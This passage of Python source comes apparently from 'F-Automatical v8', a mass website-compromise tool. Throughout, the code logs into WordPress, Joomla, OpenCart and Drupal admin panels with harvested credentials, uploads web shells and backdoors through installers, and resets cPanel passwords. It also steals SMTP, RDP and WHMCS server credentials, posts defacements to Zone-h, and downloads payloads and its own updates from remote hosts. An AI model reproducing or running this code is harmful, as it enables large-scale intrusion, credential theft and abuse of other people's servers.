1, headers1) + if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/administrator/templates/hathor/error.php'.format(domain) + return 'F' + except: + return 'F' + +def ocmod_Fox(domain, cookies, login) : + try: + token_Fox = re.findall(re.compile('token=(.*)" class="navbar-brand">'), login)[0] + if ('&user_token' in login): upload_url_Fox = "{}/admin/index.php?route=marketplace/installer/upload&user_token={}".format(domain, token_Fox) + else: upload_url_Fox = "{}/admin/index.php?route=marketplace/installer/upload&token={}".format(domain, token_Fox) + fileup_Fox = {'file': ('rsz.ocmod.zip', open('Files/rsz.ocmod.zip', 'rb'), 'application/x-zip-compressed')} + try: up_Fox = content_Fox(cookies.post(upload_url_Fox, files=fileup_Fox, headers=headers1, verify=False, timeout=60)) + except: up_Fox = content_Fox(cookies.post(upload_url_Fox, files=fileup_Fox, headers=headers1, verify=False, timeout=45)) + ID_oc = re.findall(re.compile('extension_install_id=(.*)"}'), up_Fox)[0] + try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/install'), ID_oc), verify=False, headers=headers1, timeout=15) + except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/install'), ID_oc), verify=False, headers=headers1, timeout=10) + try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/unzip'), ID_oc), verify=False, headers=headers1, timeout=15) + except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/unzip'), ID_oc), verify=False, headers=headers1, timeout=10) + try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/move'), ID_oc), verify=False, headers=headers1, timeout=15) + except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/move'), ID_oc), verify=False, headers=headers1, timeout=10) + try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/xml'), ID_oc), verify=False, headers=headers1, timeout=15) + except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/xml'), ID_oc), verify=False, headers=headers1, timeout=10) + try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/remove'), ID_oc), verify=False, headers=headers1, timeout=15) + except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/remove'), ID_oc), verify=False, headers=headers1, timeout=10) + check_UP = requestG_Fox('{}/admin/controller/extension/extension/daDTLv3YPn6.php'.format(domain), 1, headers1) + if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/admin/controller/extension/extension/daDTLv3YPn6.php'.format(domain) + return 'F' + except: + return 'F' + +def adminimal_Fox(url, cookies) : + try: + try: getdata = content_Fox(cookies.get('{}/admin/appearance/install'.format(url), headers=headers1, verify=False, timeout=15)) + except: getdata = content_Fox(cookies.get('{}/admin/appearance/install'.format(url), headers=headers1, verify=False, timeout=10)) + form_build_id_Fox = re.findall(re.compile('type="hidden" name="form_build_id" value="(.*)" />'), getdata)[0] + form_token_Fox = re.findall(re.compile('type="hidden" name="form_token" value="(.*)" />'), getdata)[0] + fileup_Fox = {'files[project_upload]': ('adminimal_theme-7.x-1.25.zip', open('Files/adminimal_theme-7.x-1.25.zip', 'rb'), 'multipart/form-data')} + filedata_Fox = {'form_build_id': form_build_id_Fox, 'form_id': 'update_manager_install_form', 'form_token': form_token_Fox, 'op': 'Install', 'project_url': ''} + try: up_Fox = content_Fox(cookies.post('{}/admin/appearance/install'.format(url), headers=headers1, data=filedata_Fox, files=fileup_Fox, verify=False, timeout=90)) + except: up_Fox = content_Fox(cookies.post('{}/admin/appearance/install'.format(url), headers=headers1, data=filedata_Fox, files=fileup_Fox, verify=False, timeout=60)) + ID_dp = re.findall(re.compile('id=(.*)&'), up_Fox)[0] + try: install_Fox = cookies.get('{}/authorize.php?batch=1&op=start&id={}'.format(url, ID_dp), headers=headers1, verify=False, timeout=45) + except: install_Fox = cookies.get('{}/authorize.php?batch=1&op=start&id={}'.format(url, ID_dp), headers=headers1, verify=False, timeout=30) + check_UP = requestG_Fox('{}/sites/all/themes/adminimal_theme/uqPfX5TiZbY.php'.format(url), 1, headers1) + if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/sites/all/themes/adminimal_theme/uqPfX5TiZbY.php'.format(url) + return 'F' + except: + return 'F' + +def WP_Login_UPer(url, username, password): + try: + while (url[-1] == '/'): url = url[:-1] + print (' {}[L] {} {}[WordPress]'.format(fw, url, fg)) + print (' {}[U] {}'.format(fw, username)) + print (' {}[P] {}'.format(fw, password)) + reqFox = requests.session() + headersLogin = {'Connection': 'keep-alive', + 'Cache-Control': 'max-age=0', + 'Upgrade-Insecure-Requests': '1', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8', + 'referer': '{}/wp-admin/'.format(url)} + loginPost_Fox = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '{}/wp-admin/'.format(url)} + try: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=15) + except: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=5) + if (URL_FOX(login_Fox.url) != URL_FOX(url)): + url = URL_P(login_Fox.url) + reqFox = requests.session() + loginPost_Fox = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '{}/wp-admin/'.format(url)} + try: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=15) + except: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=10) + login_Fox = content_Fox(login_Fox) + if ('profile/login' in login_Fox): + id_wp = re.findall(re.compile('type="hidden" name="force_redirect_uri-(.*)" id='), login_Fox)[0] + myuserpro = re.findall(re.compile('name="_myuserpro_nonce" value="(.*)" />Working' in content_Fox(response)): + break + except : + pass + return argument1 + except : + return False + + +def fileDownloader(argument1,argument2,argument3,chunk_size = 128): + try : + if ('.zip' in argument3): + timeout = 180 + else: + timeout = 45 + headers1['REFERER']='fcs.is' + response=requests.post('http://{}/download.php'.format(argument1), data ={'ID': argument2}, stream = True, headers =headers1, timeout = timeout) + del headers1['REFERER'] + with open('Files/{}'.format(argument3),'wb') as file: + for content in response.iter_content( chunk_size = chunk_size ): + file.write(content) + return True + except : + return False + +def checkFile(name): + try: + if (sys.version_info[0] < 3): src = str(open('Files/{}'.format(name), 'rb').read()) + else: src = str(open('Files/{}'.format(name), 'rb').read().decode('cp866')) + if ('\r' in src): src = src.replace('\r', '') + if('\n' not in src and src.strip() != '')): return True + return False + except: + return False + +def getFile(arg1,arg2): + global backdoor1 + try : + if ( not os.path.exists(r"Files")): + os.makedirs(r"Files") + for item in backdoor1: + temp=fileDownloader(item,arg2,arg1) + if (temp is False): + continue + if (checkFile(arg1) is True): + break + return True + except Exception as E: + print(E) + return False + +def mylist(): + try: + try: + target = open(sys.argv[1], 'r') + return target + except : + yList = str(input_Fox(' Your List --> : ')) + if (not os.path.isfile(yList) and '.txt' not in yList): + yList = '{}.txt'.format(yList) + while (not os.path.isfile(yList)): + print("\n {}({}) File does not exist, You have to put your list in the same folder.\n".format(fr, yList)) + yList = str(input_Fox(' Your List --> : ')) + target = open(yList, 'r') + return target + except: + return False + +def updateCheck(): + try : + domains=['ufox.co', 'ufox.bz'] + for domain in domains: + try : + response=content_Fox(requests.get('http://{}/info/update-FAv8.txt'.format(domain), headers = headers1, verify = False, timeout = 15)) + if (re.findall(re.compile('\'version\': \'(.*)\''), response)): + break + except : + pass + response2=re.findall(re.compile('\'version\': \'(.*)\''), response)[0] + if(response2.strip() == '8'): + return False + sys.stdout.write(' {}[*] Updating '.format(fw)); + waiting(); + print('') + try : + response3=content_Fox(requests.get('http://{}/FA/{}.py'.format(domain,response2), stream = True, headers =headers1, timeout = 60)) + except: + response3=content_Fox(requests.get('http://{}/FA/{}.py'.format(domain,response2), stream = True, headers =headers1, timeout = 120)) + open(os.path.basename( __file__ ),'wb').write(str(response3).encode('utf8')) + print(' {}[+] Updated Successfully.'.format(fg)) + input_Fox('\n {}[!] {}Please restart program.\n'.format(fr,flc)) + return True + except : + return False + +def Option20(sites, tyUP, srcShell, tyShell, q): + global backdoor2 + try: + for site in sites: + try: + url = str(site.strip()) + print(' --| {}{}'.format(fc, url)) + newBackdoor = file_UPloader_ALL(url, 1) + if (newBackdoor is False): + print('') + continue + else: + newBackdoor = check(newBackdoor) + open('Results/F-backdoors.txt', 'a').write('{}?action={}\n'.format(newBackdoor, backdoor2)) + if (tyUP == 1): file_UPloader(newBackdoor, srcShell, tyShell, q) + elif (tyUP == 2): file_Main_UPloader(newBackdoor, srcShell, tyShell, q) + print('') + except: + print(' {}[-] Failed.\n'.format(fr)) + except: + pass + +def Option29(sites, srcShell, tyShell, q): + global backdoor2 + try: + logins = [] + wp = 0 + jm = 0 + oc = 0 + dp = 0 + if (not re.findall(re.compile('http(.*)/(.*)#(.*)@(.*)'), sites.read())): + print(' {}[-] The list must be => {}http://domain.com/wp-login.php#{}user{}@{}pass\n'.format(fr, fg, fr, fg, fr)) + print(' {} OR {}http://domain.com/administrator/index.php#{}user{}@{}pass\n'.format(fr, fg, fr, fg, fr)) + print(' {} OR {}http://domain.com/admin/index.php#{}user{}@{}pass\n'.format(fr, fg, fr, fg, fr)) + print(' {} OR {}http://domain.com/user/login#{}user{}@{}pass\n'.format(fr, fg, fr, fg, fr)) + return + sites = open(sites.name, 'r') + for site in sites: + panel = str(site.strip()) + if ('/wp-login.php' in panel) : wp = 1; logins.append(panel) + elif ('/administrator' in panel) : jm = 1; logins.append(panel) + elif ('/admin' in panel) : oc = 1; logins.append(panel) + elif ('/user' in panel) : dp = 1; logins.append(panel) + shells = UPer_SH_by_Panels(logins, wp, jm, oc, dp, srcShell, tyShell) + if (q.lower() == 'y' or q.lower() == 'yes') : + if (shells is False) : return + else : + for shell in shells : + try : + print(' --| {}{}'.format(fc, URL_FOX(shell))) + newShell = check(shell) + resetPwdA_Fox(newShell, '{}?action={}\n'.format(newShell, backdoor2)) + SMTPs(newShell) + except : + print(' {}[-] Failed.'.format(fr)) + print('') + except: + pass + +def Option30(sites, srcShell, tyShell, q): + global backdoor2 + try: + logins = [] + shells = [] + if (not re.findall(re.compile('http(.*)/(.*)#(.*)@(.*)'), sites.read())): print(' {}[-] The list must be => {}http://domain.com/wp-login.php#{}user{}@{}pass\n'.format(fr, fg, fr, fg, fr)); return + sites = open(sites.name, 'r') + for site in sites: + panel = str(site.strip()) + if ('/wp-login.php' in panel) : logins.append(panel) + if(not logins): print(' {}[-] The list must be => {}http://domain.com/wp-login.php#{}user{}@{}pass\n'.format(fr, fg, fr, fg, fr)); return + for login in logins: + try: + data = data_PL_Filter(login) + if(data is False): continue + print (' {}[L] {} {}[WordPress]'.format(fw, URL_P(login), fg)) + print (' {}[U] {}'.format(fw, data[0])) + print (' {}[P] {}'.format(fw, data[1])) + newShell = wp_selenium(URL_P(login), data[0], data[1]) + if(newShell is False): print(' {}[-] Login/Upload Failed.\n'.format(fr)) + else: + print(' {}[+] Login Succeeded.'.format(fg)) + newShell = check(newShell) + shells.append(newShell) + open('Results/F-backdoors.txt', 'a').write('{}?action={}\n'.format(newShell, backdoor2)) + file_UPloader(newShell, srcShell, tyShell, 1) + except: + pass + if ((q.lower() == 'y' or q.lower() == 'yes') and shells): + print('') + for shell in shells: + try: + print(' --| {}{}'.format(fc, URL_FOX(shell))) + newShell = check(shell) + resetPwdA_Fox(newShell, '{}?action={}\n'.format(newShell, backdoor2)) + SMTPs(newShell) + except: + print(' {}[-] Failed.'.format(fr)) + print('') + except: + pass + +def waiting(): + words = ['{}.'.format(fw), '.', '.', '.', '.', '.', ' {}(Waiting)'.format(fr)] + for word in words: + sys.stdout.write('{}'.format(word)) + sys.stdout.flush() + time.sleep(0.25) + print('') + +def sevedin(filename1, filename2 = '', filename3 = ''): + if(success1 == 1 and filename1 != ''): print (' {}[+] Saved in {}Results/{}'.format(fg, fr, filename1)) + if(success2 == 1 and filename2 != ''): print (' {}[+] Saved in {}Results/{}'.format(fg, fr, filename2)) + if(success3 == 1 and filename3 != ''): print (' {}[+] Saved in {}Results/{}'.format(fg, fr, filename3)) + if(success1 == 1 or success2 == 1 or success3 == 1): print('') + +def whmcs_ex(backdoor, shell): + try: + sys.stdout.write(' {}[*] WHMCS exploit '.format(fw)); waiting() + if(not whmcsS): + print(' {}[-] Not Found WHMCS.'.format(fr)) + return False + newpath = r'Results/WHMCS' + if (not os.path.exists(newpath)): os.makedirs(newpath) + for whmcs in whmcsS: + try: + saveTxt = '' + post_w = {'action': 'whmcs', 'url': whmcs, 'typ': '1'} + w_Ex = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_w, headers2) + w_Ex = HTML_cleaner(w_Ex) + if('Nothing Found !' in w_Ex): + print (' {} - {}{}{} [Nothing Found]'.format(fr, fw, whmcs, fr)) + continue + if ('w_srvs' in locals()): del w_srvs + if (re.findall(re.compile('(.*)(.*)(.*)(.*)(.*)(.*)(.*)'), w_Ex)): w_srvs = re.findall(re.compile('(.*)(.*)(.*)(.*)(.*)(.*)(.*)'), w_Ex) + else: + print (' {} - {}{}{} [Nothing Found]'.format(fr, fw, whmcs, fr)) + continue + print (' {} - {}{}{} [Succeed]'.format(fg, fw, whmcs, fg)) + conf = str(whmcs.split('/')[-1]) + if('.txt' in conf): conf = conf.split('.txt')[0] + saveTxt = '{}{}'.format(saveTxt, '{}\n{}\n\nServers :\n'.format(shell, whmcs)) + for whm in w_srvs: + typeP = whm[0]; active = whm[1]; host = whm[2]; ip = whm[3]; user = whm[4]; password = whm[5]; accesshash = whm[6] + if('\n' in accesshash): accesshash = accesshash.replace('\n', '') + saveTxt = '{}{}'.format(saveTxt, 'Type: {}\nActive: {}\nHostname: {}\nIP-Address: {}\nUsername: {}\nPassword: {}\nAccesshash: {}\n------------------------------------------------\n'.format(typeP, active, host, ip, user, password, accesshash)) + post_w = {'action': 'whmcs', 'url': whmcs, 'typ': '2'} + w_Ex = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_w, headers2) + w_Ex = HTML_cleaner(w_Ex) + if (re.findall(re.compile('(.*)(.*)(.*)(.*)(.*)'), w_Ex)): + w_roots = re.findall(re.compile('(.*)(.*)(.*)(.*)(.*)'), w_Ex) + saveTxt = '{}{}'.format(saveTxt,'\n\n\nOther Servers/RDPs :\n'.format(shell, whmcs)) + for rootv in w_roots: + saveTxt = '{}{}'.format(saveTxt, 'Domain: {}\nIP-Address: {}\nUsername: {}\nPassword: {}\nStatus: {}\n------------------------------------------------\n'.format(rootv[0], rootv[1], rootv[2], rootv[3], rootv[4])) + open('Results/WHMCS/{}-{}.txt'.format(domain_Fox(backdoor), conf), 'w').write(saveTxt) + print (' {}[+] Saved in {}Results/WHMCS/{}-{}.txt'.format(fg, fr, domain_Fox(backdoor), conf)) + except: + pass + except: + print (' {}[-] Failed.'.format(fr)) + +def F(): + try: + global success1, success2, success3 + success1, success2, success3 = 0, 0, 0 + pwd = os.getcwd() + if ('\\' in pwd): pwd = pwd.replace('\\', '/') + tfolder = pwd.split('/')[-1] + if (updateCheck() is True): return + if (Conditions() is False): return + log() + news() + if (getinfoFox() is False): return + if (shellFox() is False): return + yList = mylist() + print('\n {}[{}#{}] {}F{}-Automatical {}v8 {}:-'.format(fw, fr, fw, fy, fw, fg, fw)) + print('\n {}If your list is [{}Shells{}/{}UPloaders{}] choose from 1-22:'.format(fc, fg, fw, fg, fc)) + print(' [01] {}Mass Reset Passowrd {}cPanel'.format(fw, fr)) + print(' [02] {}Mass Finder SMTP {}+{} Create SMTP'.format(fw, fg, fw)) + print(' {}[{}03{}] Mass Info {}OS{}/{}Hosting{}/{}Conuntry{}, {}cPanel{}/vHosts/Root {}[PWD|UNAME]'.format(fw, flg, fw, fg, fw, fg, fw, fg, fw, fr, fw, fr)) + print(" [04] {}Mass Finder AccessHash {}Reseller {}+{} .my.cnf {}cPanel".format(fw, fr, fg, fw, fr)) + print(" [05] {}Mass Get Config ({}cPanel{}/vHosts) server {}+{} Config{}404 {}+{} Config{}CFS".format(fw, fr, fw, fg, fw, fr, fg, fw, fg)) + print(" {}[{}06{}] Mass Get Config {}+ {}Crack {}cPanel{}/{}WHM {}+ {}WHM{}C{}S{} checker {}[DEV]".format(fw, flg, fw, fg, fw, fr, fw, fc, fg, fw, flg, flb, fw, flg)) + print(' [07] {}Mass Get Config {}+{} Upload Shell on {}WordPress{}/{}Joomla{}/{}Opencart'.format(fw, fg, fw, fg, fw, fr, fw, fc)) + print(' [08] {}Mass Get {}Root{} by {}./dirty [PHP/BASH]'.format(fw, fg, fw, fr)) + print(' [09] {}Mass Get {}RDP{} from {}Windows {}server'.format(fw, fg, fw, fr, fw)) + print(" [10] {}Mass Get Domains-List".format(fw)) + print(" [11] {}Mass Get Emails-List".format(fw)) + print(" [12] {}Mass Get Config {}+ {}Emails-List".format(fw, fg, fw)) + print(' [13] {}Mass Upload Mailer {}[Random]'.format(fw, fr)) + print(' [14] {}Mass Upload File {}[Random]'.format(fw, fr)) + print(' [15] {}Mass Upload Index {}+{} Post in {}Zone-h'.format(fw, fg, fw, fr)) + print(' [16] {}Mass Upload {}Page{}/{}Zip-file {}+{} UNZip file'.format(fw, fg, fw, fr, fg, fw)) + print(" {}[17] Mass Upload/injection backdoor".format(fw)) + print(" [18] {}Mass Chack if Sending mail is Working or not! {}[Results delivery]".format(fw, fr)) + print(' [19] {}Mass Reports replacement {}[Accepted at all Shops]'.format(fw, fg)) + print(" {}[{}20{}] {}From any{} Shell/UPloader, MASS Upload File {}Shell{}/{}Mailer".format(fw, fg, fw, fg, fw, fg, fw, fr)) + print(' [21] {}Reset Passowrd {}cPanel {}+{} Finder/Create SMTP {}[together]'.format(fw, fr, fg, fw, fr)) + print(' [22] {}01 {}+{} 02 {}+{} 04 {}+{} 06 {}+{} 08 {}[All of them together]'.format(fw, fg, fw, fg, fw, fg, fw, fg, fw, fr)) + time.sleep(1) + print('\n {}elseif your list is [{}cPanels{}] choose from 23-28:'.format(fc, fr, fc)) + print(' [23] {}Mass Finder SMTP {}+{} Create SMTP'.format(fw, fg, fw)) + print(" [24] {}MASS Upload File [{}Shell{}/{}Mailer{}/{}Other{}]".format(fw, fr, fw, fg, fw, fc, fw)) + print(" {}[25] Mass Upload/injection backdoor".format(fw)) + print(' [26] {}Mass Upload {}Page{}/{}Zip-file {}+{} UNZip'.format(fw, fg, fw, fr, fg, fw)) + print(" [27] {}Mass Chack if Sending mail is Working or not! {}[Results delivery]".format(fw, fr)) + print(' [28] {}Mass Reports replacement {}[Accepted at all Shops]'.format(fw, fg)) + time.sleep(1) + print('\n {}elseif your list is [{}Wordpress{}/{}Joomla{}/{}Opencart{}/{}Drupal{}] panels choose 29/30:'.format(fc, fg, fw, fr, fw, fc, fw, fr, fc)) + print(" [29] {}Mass login {}Wordpress{}/{}Joomla{}/{}Opencart{}/{}Drupal{} panel {}+{} UPload Shell".format(fw, fg, fw, fr, fw, fc, fw, fr, fw, fg, fw)) + print(' {}[{}30{}] Mass login {}WordPress{} and UPload Shell by Selenium {}[Chrome Driver] {}[NEW]'.format(fw, flg, fw, fg, fw, fr, flg)) + time.sleep(1) + print('\n {}else:'.format(fc)) + print(" {}[{}31{}] About [{}F{}-Automatical].".format(fw, fg, fw, fy, fw)) + print(" {}[{}00{}] {}Exit.".format(fw, fr, fw, fr)) + try: + w = int(input_Fox('\n --> : ')) + except: w = -1 + while(w == -1 or w > 31): + print("\n {}Choose from {}0{} to {}31{}, please.".format(fr, fc, fr, fc, fr)) + try: w = int(input_Fox('\n --> : ')) + except: w = -1 + print('') + if (w == 0): print(" {}I LOVE U, See u <3\n".format(fr)); return + if (w == 31): about(); return + ps = {1: ['cPanels_Reseted.txt', 'Try_Rest_cPanel_Semi_Automatic.txt', ''], + 2: ['SMTPs.txt', 'SMTPs_Created.txt', ''], + 3: ['info_servers.txt', 'Windows_servers.txt', 'cPanel_servers.txt'], + 4: ['accesshash.txt', 'mycnf.txt', ''], + 5: ['Configs.txt', '', ''], + 6: ['Configs.txt', 'cPanels_Cracked.txt', 'WHM_Resellers_Cracked.txt'], + 8: ['ROOTs.txt', '', ''], + 9: ['RDPs.txt', '', ''], + 13: ['Leaf_PHP_Mailers.txt', '', ''], + 15: ['indexS.txt', '', ''], + 16: ['Pages.txt', '', ''], + 17: ['Injected_backdoors.txt', 'backdoors/0.0-ALL-backdoors.txt', ''], + 18: ['SendingMail_Work.txt', 'SendingMail_NotWork.txt', ''], + 19: ['Reports_of_Shells.txt', 'Form_reports_of_Shells.txt', ''], + 23: ['SMTPs.txt', 'SMTPs_Created.txt', ''], + 25: ['Injected_backdoors.txt', '', ''], + 26: ['Pages.txt', '', ''], + 27: ['SendingMail_Work.txt', 'SendingMail_NotWork.txt', ''], + 28: ['Reports_of_cPanels.txt', 'Form_reports_of_cPanels.txt', '']} + newpath = r'Results' + if (not os.path.exists(newpath)): os.makedirs(newpath) + if (w == 1) : + print(' {}[{}?{}] {}Choose the procedure that suits you.\n'.format(fw, fr, fw, fc)) + print(' [1] {}Automatic. {}[Default]'.format(fw, fg)) + print(' [2] {}Semi-Automatic.'.format(fw)) + try: tyRest = int(input_Fox('\n --> : ')) + except: tyRest = 1 + print('') + if (tyRest != 1 and tyRest != 2): tyRest = 1 + elif (tyRest == 2): + email = str(input_Fox(' Your Email --> : ')) + print('') + if (w == 19 or w == 28) : + print(' {}[{}?{}] {}Choose the procedure that suits you.\n'.format(fw, fr, fw, fc)) + print(' [1] {}Automatic. {}[With Proofs]'.format(fw, fg)) + print(' [2] {}Semi-Automatic. {}[Just Check & Form]'.format(fw, fr)) + try: tyReport = int(input_Fox('\n --> : ')) + except: tyReport = 1 + print('') + getFile('uz.txt', '27889355342417160') + if (tyReport != 1 and tyReport != 2): tyReport = 1 + elif (tyReport == 2): + email = str(input_Fox(' Your Email --> : ')) + print('') + q = str(input_Fox(' {}[{}?{}] {}Do you want Hidden uploader (?Ghost=send) in test.php ? {}[{}Y{}/{}N{}] : '.format(fw, fr, fw, fc, fw, fg,fw, fr, fw))) + print('') + if (q.lower() == 'y' or q.lower() == 'yes'): + getFile('t2.txt', '65509287018294347') + testSend = 't2' + else : + getFile('t1.txt', '06396548225704198') + testSend = 't1' + if (w == 13) : + q = str(input_Fox(' {}[{}?{}]{} Do you want the encrypted version? {}[{}Y{}/{}N{}] {}[Default: NO] {}: '.format(fw, fr, fw, fc, fw, fg, fw, fr, fw, fg, fw))) + if (q.lower() == 'y' or q.lower() == 'yes') : q = 1 + else : q = 0 + if (q == 0) : srcMailer = 'Files/m.txt'; getFile('m.txt', '71461093705682293') + elif (q == 1): srcMailer = 'Files/m-e.txt'; getFile('m-e.txt', '90983632861720155') + print('') + if (w == 15) : + nameF = str(input_Fox(' Your Index\'s name --> : ')) + while(not os.path.isfile(nameF)): + print("\n {}({}) File does not exist, You have to put your index in the same folder.\n".format(fr, nameF)) + nameF = str(input_Fox(' Your Index\'s name --> : ')) + print('\n {}[{}?{}] {}Choose what you want.\n'.format(fw, fr, fw, fc)) + print(' [1] {}Index with the same name, like => {}http://domain.com/{}'.format(fw, fr, nameF)) + print(' [2] {}Index in the main index, like => {}http://domain.com/'.format(fw, fr)) + try : tyUP = int(input_Fox('\n --> : ')) + except: tyUP = 1 + if (tyUP != 1 and tyUP != 2) : tyUP = 1 + q = str(input_Fox('\n {}[{}?{}]{} Do you want post in Zone-h ? {}[{}Y{}/{}N{}] : '.format(fw, fr, fw, fc, fw, fg, fw, fr, fw))) + if (q.lower() == 'n' or q.lower() == 'no'): q = 0; nameA = '' + else: q = 1; nameA = str(input_Fox('\n Attacker name --> : ')) + print('') + if (w == 16 or w == 26): + print(' {}[{}!{}] {}You must put your file ({}.zip{}) in the same folder ({}{}{}).\n'.format(fw, fr, fw, fc, fg, fc, fg, tfolder, fc)) + filezip = str(input_Fox(' Your File\'s name (.zip) --> : ')) + while (not os.path.isfile(filezip)): + print("\n {}({}) File does not exist, You have to put your file in the same folder.\n".format(fr, filezip)) + filezip = str(input_Fox(' Your File\'s name (.zip) --> : ')) + print('') + if (w == 17 or w == 25): + print('\n {}[{}?{}] {}Choose what you want.\n'.format(fw, fr, fw, fc)) + print(' [1] {}Injection a hidden uploader into one of the main website files.'.format(fw, fr)) + print(' [2] {}Uploading your backdoor on all website folders.'.format(fw, fr)) + try : tyPbk = int(input_Fox('\n --> : ')) + except: tyPbk = 1 + if(tyPbk == 2): + nameF = str(input_Fox('\n Your backdoor name (.php) --> : ')) + while (not os.path.isfile(nameF)): + print("\n {}({}) File does not exist, You have to put your backdoor in the same folder.\n".format(fr, nameF)) + nameF = str(input_Fox(' Your backdoor name (.php) --> : ')) + print('') + if (w ==18 or w == 27): getFile('t1.txt', '06396548225704198') + if (w == 7 or w == 14 or w == 20 or w == 24 or w == 29 or w == 30) : + if(w == 7): + print(' {}[{}?{}] {}Choose how to hack Panels.\n'.format(fw, fr, fw, fc)) + print(' [1] {}Changing password of old admin user. {}[Default]'.format(fw, fg)) + print(' [2] {}Adding a new admin user.'.format(fw)) + try : MSM = int(input_Fox('\n --> : ')) + except: MSM = 1 + if (MSM != 1 and MSM != 2) : MSM = 1 + if(MSM == 1): typeAc = 'ch' + else: typeAc = 'ad' + print('') + print(' {}[{}?{}] {}Choose what you want to upload it.\n'.format(fw, fr, fw, fc)) + print(' [1] {}F-Filemanager {}(WSO) {}[Accepted at all Shops]'.format(fw, fr, fg)) + print(' [2] {}Leaf PHP Mailer'.format(fw)) + print(' [3] {}Other file'.format(fr)) + try : tyShell = int(input_Fox('\n --> : ')) + except: tyShell = 0 + while (tyShell == 0 or tyShell > 3): + print("\n {}Choose from {}1{} to {}3{}, please.".format(fr, fc, fr, fc, fr)) + try: tyShell = int(input_Fox('\n --> : ')) + except: tyShell = 0 + if (tyShell == 2): + q = str(input_Fox('\n {}[{}?{}]{} Do you want the encrypted version? {}[{}Y{}/{}N{}] {}[Default: NO] {}: '.format(fw, fr, fw, fc, fw, fg, fw, fr, fw, fg, fw))) + if (q.lower() == 'y' or q.lower() == 'yes') : q = 1 + else: q = 0 + if (tyShell == 1) : srcShell = 'Files/fm.txt'; getFile('fm.txt', '12238904536496571') + elif (tyShell == 2 and q == 0) : srcShell = 'Files/m.txt'; getFile('m.txt', '71461093705682293') + elif (tyShell == 2 and q == 1): srcShell = 'Files/m-e.txt'; getFile('m-e.txt', '90983632861720155') + elif (tyShell == 3) : + print('\n {}[{}!{}] {}You must put your file in the same folder ({}{}{}).\n'.format(fw, fr, fw, fc, fg, tfolder, fc)) + nameF = str(input_Fox(' Your File\'s name --> : ')) + while(not os.path.isfile(nameF)): + print("\n {}({}) File does not exist, You have to put your file in the same folder.\n".format(fr, nameF)) + nameF = str(input_Fox(' Your File\'s name --> : ')) + srcShell = nameF + if (w == 14 or w == 20): + print('\n {}[{}?{}] {}Choose where do you want upload it.\n'.format(fw, fr, fw, fc)) + print(' [1] {}In the same path. {}[Default]'.format(fw, fg)) + print(' [2] {}In the main path.'.format(fw)) + try : tyUP = int(input_Fox('\n --> : ')) + except: tyUP = 1 + if (tyUP != 1 and tyUP != 2) : tyUP = 1 + if (w == 14 or w == 20 or w == 24): + if(tyShell == 3): + q = str(input_Fox('\n {}[{}?{}] {}Do you want upload your file with {}Random{} name ? {}[{}Y{}/{}N{}] : '.format(fw, fr, fw, fc, fr, fc, fw, fg, fw, fr, fw))) + if (q.lower() == 'n' or q.lower() == 'no') : q = 0 + else: q = 1 + else: q = 1 + if (w == 7 or w == 29 or w == 30): q = str(input_Fox('\n {}[{}?{}] {}Do you want to get (cPanel/SMTP) ? {}[{}Y{}/{}N{}] : '.format(fw, fr, fw, fc, fw, fg, fw, fr, fw))) + print('') + if(w == 20): Option20(yList, tyUP, srcShell, tyShell, q); return + if (w == 23 or w == 24 or w == 25 or w == 26 or w == 27 or w == 28): + for site in yList: + try: + datacPanel = site.strip() + if (w == 28): + cp = cPanel(datacPanel) + if (cp is False): print(''); continue + else: + cpL = datacPanel.split('|') + if (tyReport == 1): solving_cP_Reports_A(cpL[0], cpL[1], cpL[2], cp[1], cp[0], cp[2], cp[3], testSend) + elif (tyReport == 2): solving_cP_Reports_S(cpL[0], cpL[1], cpL[2], cp[1], cp[0], cp[2], cp[3], email, testSend) + else: + cp = cPanel(datacPanel, up=1) + if (cp is False): print(''); continue + else: + newBackdoor = check(cp) + open('Results/F-backdoors.txt', 'a').write('{}?action={}\n'.format(newBackdoor, backdoor2)) + if (w == 23): SMTPs(newBackdoor) + elif (w == 24): file_UPloader(newBackdoor, srcShell, tyShell, q) + elif (w == 25 and tyPbk == 1): backdoor_Injection(newBackdoor) + elif (w == 25 and tyPbk == 2): MASS_Backdoor(newBackdoor, nameF) + elif (w == 26): UNZIP(newBackdoor, filezip) + elif (w == 27): sending_Checker(newBackdoor, datacPanel) + print('') + except: + print(' {}[-] Failed.\n'.format(fr)) + if (w != 